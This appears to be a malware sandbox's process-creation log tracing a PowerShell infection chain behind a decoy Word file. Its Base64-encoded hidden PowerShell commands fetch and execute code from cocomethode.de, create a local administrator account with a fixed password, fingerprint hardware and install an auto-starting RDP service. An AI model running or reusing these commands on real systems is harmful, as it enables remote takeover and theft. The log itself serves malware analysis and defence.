UQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARwA0AEEAVgBBAEIARgBBAEcANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUAbgBjAE8ARABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBQAFMAMAA1AG0AIgApACkAKQApAC4AQwBPAG4AVABFAG4AdAApACkA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\n4r2ytua\n4r2ytua.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6B00.tmp" "c:\Users\user\AppData\Local\Temp\n4r2ytua\CSCE2E75555A6E54FAF964F39C1B149FD24.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA0ADQAMgBkADYAZAAyAGIAYgBiAGYAOQA1AGEAMABjADIAZAA5ADgAMwAzADUAYwA3AGMAZgAxADIAZAA5AGQANABhADIAMQA2ADMAYgBmAGQAMwAzAGYANAAyADUANAA3AGQAOABlADIAMQA3ADYAMwA0ADkAZgBjADUAYgBlAGMAOQA5ADkAZABmADcANwBlAGQANgBmAGMAMQAwAGMAZAAyAGIAOABmADEAYgBmADYAZQAxADQAMQA5AGEAZgBkADEAYgA4AGUANgA1ADIAZAA2ADAAOAAyADAAYQA1ADYAZgA1AGQAOAA3ADIAYgA5ADgAMwAyAGQANQA4AGMAZgBlADYANQAzADQAOABiAGQAYgA2ADEANgBkAGIAMgAzAGUANAAzAGYANwA5ADcAMgBkAGEAZgAzADkAMQBmADEAMwBiAGQANgBhADYAOQBjADgAOQAxADkAMAAyADgAMAA3AGEAYQBkADQAMgAzADYAMgA3ADgAMQAxAGMAOABlADAAZAA0AGEAYQA3AGUAZQA5ADMAOQBkADcANAA1ADIAMAAxAGUAZQBkADgAMAA2AGUAZQA5ADcAOQBmAGEAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpAC
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\JD-Meta-Ads-Manager.pdf.docx" /o ""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA0ADQAMgBkADYAZAAyAGIAYgBiAGYAOQA1AGEAMABjADIAZAA5ADgAMwAzADUAYwA3AGMAZgAxADIAZAA5AGQANABhADIAMQA2ADMAYgBmAGQAMwAzAGYANAAyADUANAA3AGQAOABlADIAMQA3ADYAMwA0ADkAZgBjADUAYgBlAGMAOQA5ADkAZABmADcANwBlAGQANgBmAGMAMQAwAGMAZAAyAGIAOABmADEAYgBmADYAZQAxADQAMQA5AGEAZgBkADEAYgA4AGUANgA1ADIAZAA2ADAAOAAyADAAYQA1ADYAZgA1AGQAOAA3ADIAYgA5ADgAMwAyAGQANQA4AGMAZgBlADYANQAzADQAOABiAGQAYgA2ADEANgBkAGIAMgAzAGUANAAzAGYANwA5ADcAMgBkAGEAZgAzADkAMQBmADEAMwBiAGQANgBhADYAOQBjADgAOQAxADkAMAAyADgAMAA3AGEAYQBkADQAMgAzADYAMgA3ADgAMQAxAGMAOABlADAAZAA0AGEAYQA3AGUAZQA5ADMAOQBkADcANAA1ADIAMAAxAGUAZQBkADgAMAA2AGUAZQA5ADcAOQBmAGEAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\sppsvc.exe C:\Windows\system32\sppsvc.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Source: unknown	Process created: C:\Windows\Temp\svczHost.exe C:\Windows\Temp\svczHost.exe cakoi10 cocomethode.de
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc stop "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop "myRdpService"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net start "myRdpService"
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 start "myRdpService"
Source: unknown	Process created: C:\Windows\Temp\myRdpService.exe C:\Windows\Temp\myRdpService.exe cakoi10
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\regedit.exe "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "systeminfo \| Select-String \"OS Name\",\"OS Version\";"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\systeminfo.exe "C:\Windows\system32\systeminfo.exe"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOWERsheLl.eXE -WINDoWSTylE hiDdEN -EncoDEdCommAnd 